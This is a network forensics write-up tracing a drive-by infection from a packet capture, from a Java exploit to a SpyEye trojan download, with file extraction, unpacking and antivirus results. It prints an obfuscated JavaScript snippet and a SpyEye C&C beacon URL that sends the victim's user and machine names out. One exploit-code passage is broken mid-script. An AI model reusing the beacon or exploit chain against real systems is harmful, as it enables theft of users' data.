Name: Don Jackson Description: ============= Initial Setup ============= We will use a Windows 7 machine for the analysis and the Wireshark tool to examine the pcap. The choice of platforms is not material. There are versions the same or similar tools that accomplish the same tasks on other platforms like Linux and OS X. Assume you will make a mistake and accidentally infect your analysis system or otherwise cause some damage. Always have a backup, preferably an image you maintain with all of the necessary analysis tools. You don't have to even use the latest versions of the tools, as long as there are not bugs in the older versions or changes in the newer that affect your ability to reproduce your results. First, let's verify the evidence we've been given. We don't have a hard drive, only a packet capture of network traffic associate with the case. The file is named "infected.pcap" and we are told the MD5 sum is c09a3019ada7ab17a44537b069480312. I downloaded the file and used a tool called "md5deep" (http://md5deep.sourceforge.net/) to verify the MD5 sum. The MD5 sums match! The following describes how to reconstruct the attack using the pcap data and what we are given in the scenario. Malicious code samples and URLs have been "defanged" to prevent accidental exploitation or infection. ========= DNS query ========= Many attackers employing client-side exploits to install malware will host the exploits on a web server pointed to by a domain name. Web traffic is generally permitted trough firewalls because it's an essential service in most environments. If the attacker's web server is only available using the IP address, it would be easy to block at the firewall, for example. Using DNS allows the attacker to use distribute the same name in all of his spam, but he can change the IP address associates with that name whenever necessary to avoid IP address blacklists. He may even register this domain name using a rogue "fast-flux" DNS service that changes the IP address very quickly to point to the exploits and his malware payloads through on a network of proxies that are part of a botnet. At the top of the Wireshark output window, we see Ms. Moneymany's computer request an IP address (an "A" query) for the name "nrtjo.eu". There are three lookups (frames 1-3) and three responses (frames 4, 6 and 7), all with the IP address 59.53.91.102 and some other information such as the authoritative DNS servers for that domain. It isn't unusual to have three lookups. It just means the system was probably trying fill in the information for three concurrent HTTP requests -- modern browsers make four or more these to speed things up -- before the IP address was stored in the host's local DNS cache; we can assume it has one and is enabled, just like the default on many Windows systems. The use of a local DNS cache is not material to the case, just used in the explanation for the three different DNS queries. The IP address of the DNS server that was queried indicates that is most likely the local DNS server on Ms. Moneymany's network. ARP poison, DNS changer trojans, and rogue DHCP servers already inside the network or on the host can result in DNS activity that is difficult to reproduce on an analyst's system that is not experiencing the same DNS tampering. Although the scenario describes the fact that Ms. Moneymany clicked on the malicious link in the email, confirming the veracity of the DNS query and answer can help us correlate and share information that can prevent other attacks, and it might be useful in building a case against the culprit later. The local DNS server could be compromised, so we perform lookups against other DNS servers: our own local one that we believe is not compromised, a public server such as Google's (8.8.8.8), and/or the old standby 4.2.2.1 or 4.2.2.2 run by Verizon. We can also verify the information by looking up registration and DNS records. The "Swiss Army Knife" robtex.com provides a useful one-stop shop for this information. Just be aware that while the registrant information can be used for correlation, it's most likely bogus unless the server hosting the suspected exploit code was itself compromised and is registered to an innocent victim. Without the extra assurance of the three-way TCP handshake and protocol features, it's easier to spoof IP addresses of hosts offering UDP services like what DNS uses by default. Nothing can be taken for granted in this type of work, but this should make us feel confident in the veracity of the information in the pcap regarding the initial DNS activity. ==================== Initial HTTP Traffic ==================== Ms. Moneymany's click on the link opened a web browser that attempt to load the attacker's page. HTTP is a TCP protocol, and we can see the three-way handshake in frames 5, 8 and 9 (SYN, SYN+ACK and ACK). In frame 10, we can see the initial HTTP request over the TCP connection to the HTTP port (port 80/tcp): GET /true.php HTTP/1.1 We can tell this is associated with the "nrtjo.eu" name in the DNS queries because it is an HTTP 1.1 request which requires a Host header. Examining the request in Wireshark's dissector frame (or sub-window) shows us the Host header contains the same host name. We also see other normal client HTTP request headers and no other request parameters (name value pairs like "id=1&page=2"). Putting this together, we know that the underlying link in the email must have been (defanged): hxxp: //nrtjo .eu/true.php This is a pattern one can use in a mail gateway scanner or web content filter to prevent other incidents. Right-clicking frame 10 in Wireshark and selecting "Follow TCP Stream" opens a window showing us the HTTP requests in response sent and received, respectively, over this TCP connection. Multiple request and response pairs can be sent over a single HTTP connections when using version 1.1 of the HTTP protocol and Keep-Alive connections. GET /true.php HTTP/1.1Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)Accept-Encoding: gzip, deflateHost: nrtjo.euConnection: Keep-Alive At the top of the new window's display is the initial request we just discussed. Below that is the response with code 200, indicating the web server found the requested resource and responded with it appropriately. In the headers, we see that this response returns data that used chunked transfer encoding (see section 3.6.1 in RFC 2616, http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html, and http://en.wikipedia.org/wiki/Chunked_transfer_encoding). We see that is is also compressed using gzip. We can locate this in Wireshark at frame 13. ----------------------------------------------------------------------------- HTTP/1.1 200 OK Server: nginx Date: Wed, 17 Mar 2010 00:55:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.2.11 Cache-Control: no-store, no-cache, must-revalidate Expires: Thu, 01 Jan 2000 00:00:00 GMT Last-Modified: Thu, 01 Jan 2000 00:00:00 GMT Pragma: no-cache Content-Encoding: gzip 489 ...........X[o.6.~... .0.#.-....<.s.>....m....D.N|Q%....G..+*.|IR....G$..;.....O'..`..{g.A,.$.....:b>...7....Q`%q........^....b.3....5.$...sv..|I../.>...CB..G.$.z...J.........~..}.....<......O.@=f.....q{.x.....w.-.j.:...O.....S4...n.2_Z...Y.../h.~.f{5.`,...m..z... q.m......Ud.....8q.H.cjN...G.Q:q+.....6M.P.TN.)Q......xy..-.....`!..jH`.R.$nj...H~...+KG...u.g.4.iRq.. ..<9.%M.!r..F'........e...e..rWcq.$...,..T.k........4......{...K.?~.. ....'. ._...>H..0.~No/.q..wG..WE.%.Y...|)l..V8....W..kbm...Cl.X.L...7....^w?.y....V.R?.o.OS..X......e.e5...o...OF..l.._..:..(:ui......X..6<..x....4@...i... (.....9.5.\dw.....r....'..........{.....l.....f4....l.{GZ ..s2K.v|4G.w.....VI:...4.....q.H_^x.6...CZ.X../}...&.tKJ..^...g.{.<~O..&..}....{.Y...G...\gs.X.7<.Kp.......d"......o.x3'.N.....)...$.......H....s...L4a..j%..V$.Jr>m..k.P.y ...\<.....bV%..mTG+)K..x..tW.&f9T%..[Ub..*bR..\C...C.4...+.h~......p.u.Gz...j.nCB+.....(.........p.,.l..AR).M....D....Z<....e6wS.6.%IE.X.....3..wu...q.Z.C.g. ...5b.3..q..>......2.ft*...........8....,...:[4..9 ...z4.~K../o..JAE.l.8r.A#.yO...D|2.Ot<.....8.....p?..fi.5.....6.p....H\L..2..o3..!v..[.a..............!x.....`J.IGL..../r..u.... 0 ----------------------------------------------------------------------------- We don't have to piece together all of the chunks and the un-gzip them. In the tabs at the bottom of the main/outermost Wireshark window, are tabs for the "De-chunked entity body" (the HTTP response body) and the "Uncompressed entity body". The last tab shows us what the web server really gave us. Wireshark has glued the chunks together and uncompressed them for us. We can export this data to a file for our viewing convenience, but be careful: it contains live exploit code! To do this we can select frame 13, click on the "Reassembled TCP" tab at the bottom of the Wireshark window, select the item in the dissector frame (usually the middle section inside the Wireshark window) labeled "Line-based text data: text/html" by clicking on the label, then right-click and choose "Export selected packet bytes". We know this is text data, so we can choose to give the saved file a .txt extension instead of the raw binary type extensions suggested by Wireshark. However, we know it's also HTML, but avoid using the HTML extension to prevent accidental opening of the file containing live exploit code in your browser. ============ Exploit Code ============ Ms. Moneymany's browser will de-chunk and uncompress this data, too, then attempt to render the content. The content here is and HTML page which includes some sort of obfuscated JavaScript. People use obfuscated code when they want to avoid reverse engineering, hinder analysis or evade filters. Web advertisers obfuscate JavaScript to avoid ad-blockers, and attackers do it to evade IDS/IPS and web content filters. Without worrying about deobfuscating the JavaScript, we can see some key information in plain sight. The first is a script tag that pulls is source ("src=") from a resource named "xxx.xxx". Because no other server name or path is given, the origin is the same for the "xxx.xxx" and "true.php" resources, i.e., the additional JavaScript code is loaded from (defanged): hxxp: //nrtjo .eu/xxx.xxx We see evidence that the browser rendered the script tag and requested the additional JavaScript code in frame 15. This is the second GET request in the "Follow TCP Stream" window we already have open. The body of that response at frame 32 is: function ararata(reem,aanpry) {f2112=this;var xxy= f2112['eDv5aDlF'.replace(/[F15D\:]/g, '')];return xxy('r'+'e'+'e'+'m.r'+'ep'+'lace('+'/r00ts/g'+',aanpry)');} We see this second response is not encoded or compressed. Based on the function names and pattern supplied to the obfuscated .replace() method, it looks like some code required to de-obfuscate the script sent in the first response. Indeed, the browser will render page with the script tags and execute the JavaScript code in the same context. Some people prefer to learn how to de-obfuscate the JavaScript. One may do this to verify the vulnerability that is being exploited and determining if this is a 0-day attack. However, this is a network-based forensics exercise. The code will deobfuscate itself in memory as it executes, and the browser will take actions based on that code that we can see in the pcap. Inside the code, we see some code using simple obfuscation based on string concatenation ("string1"+"string2"). We can just remove the concatenation operators (+ signs) and extraneous quotes to deobfuscate this with little more than our own brains (or in my case, Notepad) to save the result. ' outputfile while () { $_ =~ s/([0-9A-Fa-f]{2})/chr(hex($1))/eg; print; } # end ----------------------------------------------------------------------------- This will work with almost any version of perl for any platform. I use ActiveState's ActivePerl 5.10 on this analysis system. Decoding the entire string with this script gives us (defanged): hxxp: //nrtjo .eu//loading.php?spl=javadnw& This looks like something the malicious Java applet will use as a pointer to some type of payload, possibly malware. ============= Other Traffic ============= About this same time, at frame 17, HTTPS is being used to connect to IP address 65.55.192.250. We don't see a DNS lookup, so we don't know what, if any, host name this is supposed to be using. Using robtex.com again, we see that 65.55.192.0/18 is a block of IP addresses assigned to Microsoft. A possible explanation is that the link arrived in email to Ms. Moneymany's MSN or Live.com account, and that this is simply traffic associated with her use of Microsoft's online services to read email. If evidence keeps leading us back to it, or something remains unaccounted for at the conclusion of the investigation, we can always revisit and deobfuscate or reverse engineer all the code to see if or how this network activity is involved. We also see another DNS query for the same host, other TCP connections closed and opened to 59.53.91.102, and HTTP requests and responses. The HTTP request for "/favicon.ico" in frame 49 is initiated by the browser automatically. The browser will associate the icon or image found here with the URL and display it in the address bar or favorites list, etc. The response in frame 55 is 404, with no response body. It appears our malicious web server does not have this resource, and even if it did, there is another explanation for the request. It also is not likely to be an element of the attack, but we should note it regardless. ================== JAR File Downloads ================== Traffic of interest based on our look at the initial exploit code starts at frames 62 and 64. These are the HTTP requests for the two JAR files containing the malicious Java programs used by the exploit: GET /q.jar HTTP/1.1 GET /sdfg.jar HTTP/1.1 Again, right-clicking on these frames and selecting "Follow TCP Stream" shows us the request and response. The request shows us the version of Java used on Ms. Moneymany's PC via this HTTP request header: User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_05 The response contains a data with a "PK" header indicating it is ZIP-compressed. We can see filenames in the ZIP directory ending in ".class". This looks like a JAR (Java ARchive) file. This would be "q.jar". We can save this as a local file. Select frame 98, which contains the response, and in the dissector frame, expand "Media Type" and click on "Media Type: application/x-java-archive" to select the bytes. Wireshark has already reassembled all of the response's packets and the response data for us. Finally, right-click the selection, choose "Export Selected Packet Bytes", and save this to a file. We should avoid using the JAR file extension in case that is set to open in something that might try to execute the code inside. We know it's ZIP-compressed, so we can safe it as a .zip file for later analysis. Repeat this process starting with the request for sdfg.jar in frame 64 and the response containing the file data starting at frame 85. =============== NetBIOS Traffic =============== Starting at frame 66, we see some local network NetBIOS traffic. Ms. Moneymany's computer's IP address is 192.168.23.129 based on the source of the HTTP requests and the givens in the scenario. It is sending a NetBIOS Name Service (NBNS) "Refresh" message to the name server at 192.168.23.2, the IP address for the DNS server, via UDP on port 137. This traffic looks normal. By looking at the Wireshark dissector frame, we can see that the message is telling NBNS to refresh (Flags: 0x4000) the name "TICKLAB" (null-terminated). However, this is not Ms. Moneymany's machine name. Other flags (0xe000) indicate that this is a group name. ============================= More HTTP Traffic (Downloads) ============================= At frame 105, we see this request: GET //loading.php?spl=javadnw&J050006010 HTTP/1.1 The user agent indicates that this request was made by Java: User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_05 This matches the pattern from the exploit code, including the double forward slashes in "//loading.php". The parameter "J050006010", which must have been calculated by the applet, has been appended to the applet's "data" parameter. Notice the pattern and look at the values backwards: 01 = 1. 06 = 6. 00 = 0. 05 = _05 ... This looks like it indicates a match for Java 1.6.0_05. The applet in q.jar may be fingerprinting the version of Java to see if it is vulnerable to a specific exploit. Right-clicking on frame 105 and choosing "Follow TCP Stream" shows us the request and the response, too. We see that the response contains data for a file named "file.exe". The "MZ" header, followed by the standard DOS stub text, "This program cannot be run in DOS mode", and the PE header indicate that this is a Windows PE (portable executable) format file, or in more common terms, an EXE file or program. It's not easy to spot the reponse in the frame list. In the "Info" column, we don't see another "HTTP/1.1 200 OK" response. Instead, click on the request frame (105) and use the "Edit -> Find Packet..." menu. In the new Find Packet dialog, select the "String" radio button and enter "200 OK" into the Filter area. Leave the default for everything else, and click the "Find" button. This finds the packet that has the next string indicating a "200 OK" response after our request. This is in frame (packet) sequence, not just inside the TCP stream, so let's compare data in the packet it found to the data in the output of the "Follow TCP Stream" window. Our search landed on frame 108. The "Info" column just says "[TCP segment of a reassembled PDU]". The frames of the response are out of sequence. There are several things than can cause this (routing, dropped packets/retransmits, NIC driver optimizations, etc.). Right-clicking this frame and choosing "Follow TCP Stream" shows us the same stream as the request we are examining. This is the response for which we are looking. However, the Wireshark dissector does not automatically recognize and treat the traffic as an HTTP response. ===================================== Extracting Files - Easier and Easiest ===================================== Up until now, we've been relying on Wireshark's ability to automatically reassemble data in HTTP responses. We've also been finding these reassembled responses manually and selecting the data to save as a file via the dissector entry's context menu. When Wireshark does assemble the response for us, we have a simpler choice. Open the pcap, and chose the menu "File -> Export -> Object -> HTTP". An HTTP objects list opens in a window. Select one and save it. This is much simpler. If we do that for the response to "loading.php?spl=javadnw&J050006010", there is no single object representing the file we are looking for. We can save each one cut-and-paste it back together manually, but fortunately there are other tools for this. Searching for "extracting file from pcap" can help us locate the SANS.org ISC Handler's Diary page that lists several tools for extracting files from pcaps (http://isc.sans.org/diary.html?storyid=6961). We're running Windows, and the first tool listed is a Windows tool I've heard of before: NetworkMiner (http://networkminer.sourceforge.net/). I downloaded version 0.91 as a ZIP file from SourceForge and extracted it to my working directory using WinZIP with the "Use Folder Names" option. Everything was placed into a folder named "NetworkMiner-0.91". I opened that folder and ran "NetworkMiner.exe". In the NetworkMiner application, choose the menu "File -> Open". Select the pcap file, and it will be parsed automatically. Click on the "Files" tab. It will indicate that "8" files were parsed out. We already know we are looking a file in the response to the request on frame 105, but it's good to confirm that the source for the file listed for that frame was "TCP 80" (HTTP) and the malicious server's IP address 59.53.91.102. We can see the request matches "loading.php?spl=javadnw&J050006010", too. The filename is "file.exe[1].octet-stream". NetworkMiner automatically appends the MIME type, and this offers us some protection from accidentally running the file. Look in the "NetworkMiner-0.91" folder under "AssembledFiles\59.53.91.102\HTTP - TCP 80" and find the file. ================================ Extract the Next Downloaded File ================================ At frame 115, we see a similar Java download request: GET //loading.php?spl=javad0 HTTP/1.1 This matches the pattern in the parameter for the applet code inside sdfg.jar, and only a trailing "0" has been appended. The response is also not processed automatically in Wireshark. Compare the file to the response data and make sure you've identified and match the correct file to the correct response for the correct HTTP request. Confirm this with NetworkMiner. NetworkMiner indicates that the file in the response to the response in frame 115 is located here: NetworkMiner-0.91\AssembledFiles\59.53.91.102\HTTP - TCP 80\file.exe.octet-stream NetworkMinor actually sees this response data first because of the ordering of frames. ============================ Examine Downloaded EXE Files ============================ We're in luck. Both "file.exe" files are the same. They are both 68,096 bytes in size and, using md5deep again, the MD5 sum for both files match: 5942ba36cf732097479c51986eee91ed We can delete one and work with the other copy. Running strings on the file doesn't produce any useful hints at what it might be. They might be packed or compressed. Malware is often packed, using tools called "packers", to evade simple detection by anti-virus software. PEiD (http://www.peid.info/) is a tool that can identify many common packers. Loading the file into PEiD indicates the file is packed using the methods in these versions of a specific packer: UPX 0.89.6 - 1.02 / 1.05 - 2.90 -> Markus and Laszlo With the Microsoft Portable Executable and Common Object File Format Specification (http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx) in hand, we can opening the file in an hex editor. HexWorkshop is my Windows tool of choice for basic work. It shows us the familiar "MZ" DOS header, the DOS stub, and PE header. We see the PE section names UPX0, UPX1, and rsrc. These indicate the UPX packer was used and provides a good manual confirmation of the PEiD determination. Farther down in the file, we see "3.0.4" and "UPX!" separated by a null byte (0x00). This indicates UPX version 3.0.4. The PEiD description is just little out of date and stops at 2.9.0, the latest version available at the time the PEiD UPX signature was last updated. UPX 2.90 and 3.0.4 use basically the same layout, but 3.0.4 supports some new algrorithms, so we'd want that version to make sure we can unpack the file. UPX (http://upx.sourceforge.net/) is "the Ultimate Packer for eXecutables". We can download version 3.0.4 and use it with the "-d" option to unpack the file. The results: ----------------------------------------------------------------------------- upx -d -o file.ex file.exe.octet-stream Ultimate Packer for eXecutables Copyright (C) 1996 - 2009 UPX 3.04w Markus Oberhumer, Laszlo Molnar & John Reiser Sep 27th 2009 File size Ratio Format Name -------------------- ------ ----------- ----------- 82432 <- 68096 82.61% win32/pe file.ex Unpacked 1 file. ----------------------------------------------------------------------------- The unpacked file has an MD5 sum of 0f37839f48f7fc77e6d50e14657fb96e. From here, a knowledgeable analyst may more easily reverse engineer the code in the unpacked file. Other packers might require special tools or an extended session using a debbuger such as OllyDbg in order to unpack the file. =================================== Analyzing the downloaded EXE file =================================== We have both the actual file "distributed in the wild" and the unpacked code. Uploading both of these to a service such as VirusTotal (http://www.virustotal.com/) and not only provide possible starting points to identifying the malware (which we assume it is) but also provide samples to other anti-virus vendors. If it's something unknown, there are two possibilities. One possiblity to consider is that it could be a dummy file to throw off the collection and analysis. Attacks sometimes do this if the system isn't fingerprinted correctly or looks like a honeypot, for example. Checking the MD5 of the file in the NIST NSRL Hash Set might (http://www.nsrl.nist.gov/) confirm this. I would check the unpacked file's hash first, then check the packed file. Another possibility, much more rare for most people, is that it is a malicious file than no one has run across before. Static code analysis could be used. The unpacked file and IDA Pro (http://www.hex-rays.com/idapro/) in the hands of a skilled reverse engineer couls lay bare the programs secrets. Dynamic analysis using a debugger is another option, but this requires a similar set of expert technical skills as well. Behavioral analysis, running the program on a "sacrificial" system and monitoring the behavior and changes to the system, can provide clues much faster and more easily. Like VirusTotal, automated behavioral analysis tools like ThreatExpert (http://www.threatexpert.com/) allow you to upload your file and attempt to analyze and report on the behavior, including network activity. It is sometimes a good idea to upload the unpacked file to these services, since some packers (also called "protectors", "cryptors" or "binders") used to obfuscate the malware's code also include anti-sandbox and anti-analysis tricks. If we've stripped these off by eliminating the packer code, there a greater chance it will run in the chosen system. Anti-virus signatures are going to detect the file as we found it, so we upload the packed file to VirusTotal. The results are nearly unanimous: Antivirus Version Last Update Result a-squared 4.5.0.50 2010.04.02 Trojan-Spy.Win32.SpyEyes.bw!A2 AhnLab-V3 5.0.0.2 2010.04.01 Win-Trojan/Xema.variant AntiVir 7.10.6.23 2010.04.02 TR/Spyeye.A.5 Antiy-AVL 2.0.3.7 2010.04.02 Trojan/Win32.SpyEyes.gen Authentium 5.2.0.5 2010.04.02 - Avast 4.8.1351.0 2010.04.02 Win32:SpyBot-A3765 Avast5 5.0.332.0 2010.04.02 Win32:SpyBot-A3765 AVG 9.0.0.787 2010.04.02 SHeur3.CYQ BitDefender 7.2 2010.04.02 Trojan.Generic.KD.3820 CAT-QuickHeal 10.00 2010.04.02 TrojanSpy.SpyEyes.bw ClamAV 0.96.0.0-git 2010.04.02 - Comodo 4476 2010.04.02 Heur.Suspicious DrWeb 5.0.2.03300 2010.04.02 Trojan.PWS.SpySweep.4 eSafe 7.0.17.0 2010.04.01 Win32.TrojanSpyeye eTrust-Vet 35.2.7405 2010.04.02 Win32/Spyeye.K F-Prot 4.5.1.85 2010.04.02 - F-Secure 9.0.15370.0 2010.04.02 Trojan.Generic.KD.3820 Fortinet 4.0.14.0 2010.04.01 W32/SpyEyes.BW!tr GData 19 2010.04.02 Trojan.Generic.KD.3820 Ikarus T3.1.1.80.0 2010.04.02 Trojan-Spy.Win32.SpyEyes Jiangmin 13.0.900 2010.04.02 TrojanSpy.SpyEyes.g K7AntiVirus 7.10.1004 2010.03.22 Trojan-Spy.Win32.SpyEyes.bw Kaspersky 7.0.0.125 2010.04.02 Trojan-Spy.Win32.SpyEyes.bw McAfee 5937 2010.03.31 Generic PWS.y!cct McAfee+Artemis 5937 2010.03.31 Generic PWS.y!cct McAfee-GW-Edition 6.8.5 2010.04.02 Heuristic.BehavesLike.Win32.Spyware.B Microsoft 1.5605 2010.04.02 Trojan:Win32/Spyeye NOD32 4995 2010.04.02 Win32/Spy.SpyEye.BW Norman 6.04.10 2010.04.01 W32/Spyeye.B nProtect 2009.1.8.0 2010.04.02 - Panda 10.0.2.2 2010.04.02 Trj/CI.A PCTools 7.0.3.5 2010.04.02 - Prevx 3.0 2010.04.03 Medium Risk Malware Rising 22.41.04.05 2010.04.02 Trojan.Win32.Generic.51FB01EA Sophos 4.52.0 2010.04.02 Mal/Spyeye-A Sunbelt 6131 2010.04.03 Trojan.Win32.Generic!BT Symantec 20091.2.0.41 2010.04.03 Trojan.Gen TheHacker 6.5.2.0.251 2010.04.02 Trojan/Spy.SpyEyes.bw TrendMicro 9.120.0.1004 2010.04.02 TROJ_SPYEYE.EZ VBA32 3.12.12.4 2010.04.02 BScope.Trojan-Dropper.0169 ViRobot 2010.4.2.2258 2010.04.02 Spyware.SpyEyes.68096 VirusBuster 5.0.27.0 2010.04.02 TrojanSpy.SpyEyes.BW This indcates a relatively new information stealing trojan called "SpyEye". ======================== Confirming the Diagnosis ======================== In the original pcap, we see an unusual HTTP request: GET /11111/gate.php?guid=ADMINISTRATOR!TICKLABS-LZ!1C7AE7C1&ver=10084&stat=ONLINE&ie=8.0.6001.18702&os=5.1.2600&ut=Admin&cpu=92&ccrc=5A4F4DF7&md5=5942ba36cf732097479c51986eee91ed HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: freeways.in It doesn't contain the typical HTTP request headers -- such as Accept, Accept-Language, and Accept-Encoding -- sent by web browsers. The User-Agent header value is also rather brief compared to the actual User-Agent string for Ms. Moneymany's web browser. Ms. Moneymany's web browser: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Suspicious (SpyEye?) User-Agent string: Microsoft Internet Explorer The host "freeways.in" is looked up in DNS by Ms. Moneymany's computer just before this request, and it resovled to the IP address 212.252.32.20. Again, we can use robtex.com get information on this IP address. Although ".in' in the ISO standard ccTLD (country code top-level domain) for India, the IP address belongs to a network hosted in Turkey. It can be difficult to quickly search the Internet for reports of malicious activity associated with ".in" domain names because search engines often separate the search term "freeways.in" into "freeways" and "in" and then drop "in" because it is such a common word, returning results only on "freeways", for example. A more qualified set of search terms will help: "freeways.in" malware domain name Sure enough, malwaredomainlist.com already has an entry corroborating the SpyEye diagnosis: 2010/03/14_17:44 freeways.in/11111/gate.php?guid=USER!COMPUTERNAME!D06F0742&ver=10084&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&cpu=80&ccrc=5A4F4DF7&md5=0f37839f48f7fc77e6d50e14657fb96e 212.252.32.20 - SpyEye C&C Alex Anderson / unayhuesafad@gmail.com 44565 It appears that 212.252.32.20 is a known SpyEye C&C (command and control) server. A trick of the SpyEye server appears to be to respond to the SpyEye bot requests with HTTP "404 Not Found" responses, even though the server may have already registered the bot. See frame 296. ===================== Information Disclosed ===================== Searching for SpyEye analyses from reputable public sources such as Malware Intelligence (http://www.malwareint.com/docs/spyeye-analysis-ii-en.pdf) and NoVirusThanks.org (http://blog.novirusthanks.org/2010/01/a-new-sophisticated-bot-named-spyeye-is-on-the-market/) reveals the explanation of the initial HTTP GET request used by SpyEye. In the "guid" parameter is the victim's user name and machine name. From this we know that Ms. Moneymany was logged in as "Administrator" and her machine name is "TICKLABS-LZ" (member of the group "TICKLAB"). This and some other basic system information is disclosed via the initial communication. SpyEye is an advanced information stealing trojan capable of stealing all sorts of sensitive information. However, the pcap ends before we find evidence of other data being stolen. ============= Other Traffic ============= In frame 275, we see Ms. Moneymany's computer (192.168.23.129) initiate a TCP connection to IP address 213.155.29.144 on port 444/tcp. No DNS hostname lookup was performed that resulted in an answer with this IP address. Besides the three-way TCP handshake and connection close, the only packet sent over this connection was from Ms. Moneymany's computer. See frame 278 which has the TCP "PSH" flag set. That packet doesn't contain any readable data. It appears to be a kind of phone home to a hard coded IP address. A web search reveals the IP address 213.155.29.144 and similar unidentified traffic to port 443/tcp and 444/tcp, while not actually SSL traffic, to be associated with SpyEye as well (for example, http://www.threatexpert.com/report.aspx?md5=7dc9ba727410c8690f9864270a001a83).